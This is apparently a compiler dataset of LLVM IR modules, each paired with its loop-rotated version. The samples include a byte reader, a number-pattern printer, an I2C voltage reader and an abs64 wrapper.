attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpojr663k_.c'
source_filename = "/tmp/tmpojr663k_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local zeroext i8 @read_u16_be(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i8, align 1
store ptr %0, ptr %2, align 8
store i8 0, ptr %3, align 1
%4 = load ptr, ptr %2, align 8
%5 = getelementptr inbounds i8, ptr %4, i64 0
%6 = load i8, ptr %5, align 1
%7 = zext i8 %6 to i32
%8 = shl i32 %7, 8
%9 = load i8, ptr %3, align 1
%10 = zext i8 %9 to i32
%11 = or i32 %10, %8
%12 = trunc i32 %11 to i8
store i8 %12, ptr %3, align 1
%13 = load ptr, ptr %2, align 8
%14 = getelementptr inbounds i8, ptr %13, i64 1
%15 = load i8, ptr %14, align 1
%16 = zext i8 %15 to i32
%17 = load i8, ptr %3, align 1
%18 = zext i8 %17 to i32
%19 = or i32 %18, %16
%20 = trunc i32 %19 to i8
store i8 %20, ptr %3, align 1
%21 = load i8, ptr %3, align 1
ret i8 %21
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpojr663k_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local zeroext i8 @read_u16_be(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i8, align 1
store ptr %0, ptr %2, align 8
store i8 0, ptr %3, align 1
%4 = load ptr, ptr %2, align 8
%5 = getelementptr inbounds i8, ptr %4, i64 0
%6 = load i8, ptr %5, align 1
%7 = zext i8 %6 to i32
%8 = shl i32 %7, 8
%9 = load i8, ptr %3, align 1
%10 = zext i8 %9 to i32
%11 = or i32 %10, %8
%12 = trunc i32 %11 to i8
store i8 %12, ptr %3, align 1
%13 = load ptr, ptr %2, align 8
%14 = getelementptr inbounds i8, ptr %13, i64 1
%15 = load i8, ptr %14, align 1
%16 = zext i8 %15 to i32
%17 = load i8, ptr %3, align 1
%18 = zext i8 %17 to i32
%19 = or i32 %18, %16
%20 = trunc i32 %19 to i8
store i8 %20, ptr %3, align 1
%21 = load i8, ptr %3, align 1
ret i8 %21
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpr4glx0l4.c'
source_filename = "/tmp/tmpr4glx0l4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpr4glx0l4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpsl9_sz6o.c'
source_filename = "/tmp/tmpsl9_sz6o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @skip_multibyte_char(i8 noundef signext %0) #0 {
%2 = alloca i64, align 8
%3 = alloca i8, align 1
store i8 %0, ptr %3, align 1
%4 = load i8, ptr %3, align 1
%5 = icmp ne i8 %4, 0
br i1 %5, label %6, label %7
6: ; preds = %1
store i64 0, ptr %2, align 8
br label %8
7: ; preds = %1
store i64 0, ptr %2, align 8
br label %8
8: ; preds = %7, %6
%9 = load i64, ptr %2, align 8
ret i64 %9
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsl9_sz6o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @skip_multibyte_char(i8 noundef signext %0) #0 {
%2 = alloca i64, align 8
%3 = alloca i8, align 1
store i8 %0, ptr %3, align 1
%4 = load i8, ptr %3, align 1
%5 = icmp ne i8 %4, 0
br i1 %5, label %6, label %7
6: ; preds = %1
store i64 0, ptr %2, align 8
br label %8
7: ; preds = %1
store i64 0, ptr %2, align 8
br label %8
8: ; preds = %7, %6
%9 = load i64, ptr %2, align 8
ret i64 %9
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpygaoul5q.c'
source_filename = "/tmp/tmpygaoul5q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [29 x i8] c"Enter height of the patten: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [12 x i8] c"Pattern: \0A\0A\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"%3d\00", align 1
@.str.4 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %4, align 4
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%7 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %5)
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 0, ptr %2, align 4
br label %9
9: ; preds = %28, %0
%10 = load i32, ptr %2, align 4
%11 = load i32, ptr %5, align 4
%12 = icmp slt i32 %10, %11
br i1 %12, label %13, label %31
13: ; preds = %9
store i32 0, ptr %3, align 4
br label %14
14: ; preds = %23, %13
%15 = load i32, ptr %3, align 4
%16 = load i32, ptr %2, align 4
%17 = icmp sle i32 %15, %16
br i1 %17, label %18, label %26
18: ; preds = %14
%19 = load i32, ptr %4, align 4
%20 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %19)
%21 = load i32, ptr %4, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %4, align 4
br label %23
23: ; preds = %18
%24 = load i32, ptr %3, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %3, align 4
br label %14, !llvm.loop !6
26: ; preds = %14
%27 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
br label %28
28: ; preds = %26
%29 = load i32, ptr %2, align 4
%30 = add nsw i32 %29, 1
store i32 %30, ptr %2, align 4
br label %9, !llvm.loop !8
31: ; preds = %9
%32 = load i32, ptr %1, align 4
ret i32 %32
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpygaoul5q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [29 x i8] c"Enter height of the patten: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [12 x i8] c"Pattern: \0A\0A\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"%3d\00", align 1
@.str.4 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %4, align 4
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%7 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %5)
%8 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 0, ptr %2, align 4
%9 = load i32, ptr %2, align 4
%10 = load i32, ptr %5, align 4
%11 = icmp slt i32 %9, %10
br i1 %11, label %.lr.ph2, label %35
.lr.ph2: ; preds = %0
br label %12
12: ; preds = %.lr.ph2, %29
store i32 0, ptr %3, align 4
%13 = load i32, ptr %3, align 4
%14 = load i32, ptr %2, align 4
%15 = icmp sle i32 %13, %14
br i1 %15, label %.lr.ph, label %27
.lr.ph: ; preds = %12
br label %16
16: ; preds = %.lr.ph, %21
%17 = load i32, ptr %4, align 4
%18 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %17)
%19 = load i32, ptr %4, align 4
%20 = add nsw i32 %19, 1
store i32 %20, ptr %4, align 4
br label %21
21: ; preds = %16
%22 = load i32, ptr %3, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %3, align 4
%24 = load i32, ptr %3, align 4
%25 = load i32, ptr %2, align 4
%26 = icmp sle i32 %24, %25
br i1 %26, label %16, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %21
br label %27
27: ; preds = %._crit_edge, %12
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
br label %29
29: ; preds = %27
%30 = load i32, ptr %2, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %2, align 4
%32 = load i32, ptr %2, align 4
%33 = load i32, ptr %5, align 4
%34 = icmp slt i32 %32, %33
br i1 %34, label %12, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %29
br label %35
35: ; preds = %._crit_edge3, %0
%36 = load i32, ptr %1, align 4
ret i32 %36
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmprslee3ye.c'
source_filename = "/tmp/tmprslee3ye.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmprslee3ye.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpdznixgu3.c'
source_filename = "/tmp/tmpdznixgu3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [11 x i8] c"/dev/i2c-1\00", align 1
@O_RDWR = dso_local global i32 0, align 4
@I2C_SLAVE = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [25 x i8] c"Voltage Reading %f (V) \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca [3 x i32], align 4
%5 = alloca [2 x i32], align 4
%6 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 73, ptr %2, align 4
%7 = load i32, ptr @O_RDWR, align 4
%8 = call i32 @open(ptr noundef @.str, i32 noundef %7)
store i32 %8, ptr %3, align 4
%9 = load i32, ptr %3, align 4
%10 = load i32, ptr @I2C_SLAVE, align 4
%11 = load i32, ptr %2, align 4
%12 = call i32 @ioctl(i32 noundef %9, i32 noundef %10, i32 noundef %11)
%13 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
store i32 1, ptr %13, align 4
%14 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 1
store i32 195, ptr %14, align 4
%15 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 2
store i32 3, ptr %15, align 4
%16 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
store i32 0, ptr %16, align 4
%17 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 1
store i32 0, ptr %17, align 4
%18 = load i32, ptr %3, align 4
%19 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
%20 = call i32 @write(i32 noundef %18, ptr noundef %19, i32 noundef 3)
br label %21
21: ; preds = %26, %0
%22 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%23 = load i32, ptr %22, align 4
%24 = and i32 %23, 128
%25 = icmp eq i32 %24, 0
br i1 %25, label %26, label %30
26: ; preds = %21
%27 = load i32, ptr %3, align 4
%28 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%29 = call i32 @read(i32 noundef %27, ptr noundef %28, i32 noundef 2)
br label %21, !llvm.loop !6
30: ; preds = %21
%31 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
store i32 0, ptr %31, align 4
%32 = load i32, ptr %3, align 4
%33 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
%34 = call i32 @write(i32 noundef %32, ptr noundef %33, i32 noundef 1)
%35 = load i32, ptr %3, align 4
%36 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%37 = call i32 @read(i32 noundef %35, ptr noundef %36, i32 noundef 2)
%38 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%39 = load i32, ptr %38, align 4
%40 = shl i32 %39, 8
%41 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 1
%42 = load i32, ptr %41, align 4
%43 = or i32 %40, %42
store i32 %43, ptr %6, align 4
%44 = load i32, ptr %6, align 4
%45 = sitofp i32 %44 to float
%46 = fpext float %45 to double
%47 = fmul double %46, 4.096000e+00
%48 = fdiv double %47, 3.276700e+04
%49 = fptrunc double %48 to float
%50 = call i32 @printf(ptr noundef @.str.1, float noundef %49)
%51 = load i32, ptr %3, align 4
%52 = call i32 @close(i32 noundef %51)
ret i32 0
}
declare i32 @open(ptr noundef, i32 noundef) #1
declare i32 @ioctl(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, float noundef) #1
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdznixgu3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [11 x i8] c"/dev/i2c-1\00", align 1
@O_RDWR = dso_local global i32 0, align 4
@I2C_SLAVE = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [25 x i8] c"Voltage Reading %f (V) \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca [3 x i32], align 4
%5 = alloca [2 x i32], align 4
%6 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 73, ptr %2, align 4
%7 = load i32, ptr @O_RDWR, align 4
%8 = call i32 @open(ptr noundef @.str, i32 noundef %7)
store i32 %8, ptr %3, align 4
%9 = load i32, ptr %3, align 4
%10 = load i32, ptr @I2C_SLAVE, align 4
%11 = load i32, ptr %2, align 4
%12 = call i32 @ioctl(i32 noundef %9, i32 noundef %10, i32 noundef %11)
%13 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
store i32 1, ptr %13, align 4
%14 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 1
store i32 195, ptr %14, align 4
%15 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 2
store i32 3, ptr %15, align 4
%16 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
store i32 0, ptr %16, align 4
%17 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 1
store i32 0, ptr %17, align 4
%18 = load i32, ptr %3, align 4
%19 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
%20 = call i32 @write(i32 noundef %18, ptr noundef %19, i32 noundef 3)
%21 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%22 = load i32, ptr %21, align 4
%23 = and i32 %22, 128
%24 = icmp eq i32 %23, 0
br i1 %24, label %.lr.ph, label %32
.lr.ph: ; preds = %0
br label %25
25: ; preds = %.lr.ph, %25
%26 = load i32, ptr %3, align 4
%27 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%28 = call i32 @read(i32 noundef %26, ptr noundef %27, i32 noundef 2)
%29 = load i32, ptr %21, align 4
%30 = and i32 %29, 128
%31 = icmp eq i32 %30, 0
br i1 %31, label %25, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %25
br label %32
32: ; preds = %._crit_edge, %0
%33 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
store i32 0, ptr %33, align 4
%34 = load i32, ptr %3, align 4
%35 = getelementptr inbounds [3 x i32], ptr %4, i64 0, i64 0
%36 = call i32 @write(i32 noundef %34, ptr noundef %35, i32 noundef 1)
%37 = load i32, ptr %3, align 4
%38 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%39 = call i32 @read(i32 noundef %37, ptr noundef %38, i32 noundef 2)
%40 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 0
%41 = load i32, ptr %40, align 4
%42 = shl i32 %41, 8
%43 = getelementptr inbounds [2 x i32], ptr %5, i64 0, i64 1
%44 = load i32, ptr %43, align 4
%45 = or i32 %42, %44
store i32 %45, ptr %6, align 4
%46 = load i32, ptr %6, align 4
%47 = sitofp i32 %46 to float
%48 = fpext float %47 to double
%49 = fmul double %48, 4.096000e+00
%50 = fdiv double %49, 3.276700e+04
%51 = fptrunc double %50 to float
%52 = call i32 @printf(ptr noundef @.str.1, float noundef %51)
%53 = load i32, ptr %3, align 4
%54 = call i32 @close(i32 noundef %53)
ret i32 0
}
declare i32 @open(ptr noundef, i32 noundef) #1
declare i32 @ioctl(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, float noundef) #1
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmph2y_hbcx.c'
source_filename = "/tmp/tmph2y_hbcx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @abs64(i64 noundef %0) #0 {
%2 = alloca i64, align 8
store i64 %0, ptr %2, align 8
%3 = load i64, ptr %2, align 8
%4 = call i64 @llabs(i64 noundef %3) #2
ret i64 %4
}
; Function Attrs: nounwind willreturn memory(none)
declare i64 @llabs(i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind willreturn memory(none) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmph2y_hbcx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @abs64(i64 noundef %0) #0 {
%2 = alloca i64, align 8
store i64 %0, ptr %2, align 8
%3 = load i64, ptr %2, align 8
%4 = call i64 @llabs(i64 noundef %3) #2
ret i64 %4
}
; Function Attrs: nounwind willreturn memory(none)
declare i64 @llabs(i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind willreturn memory(none) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
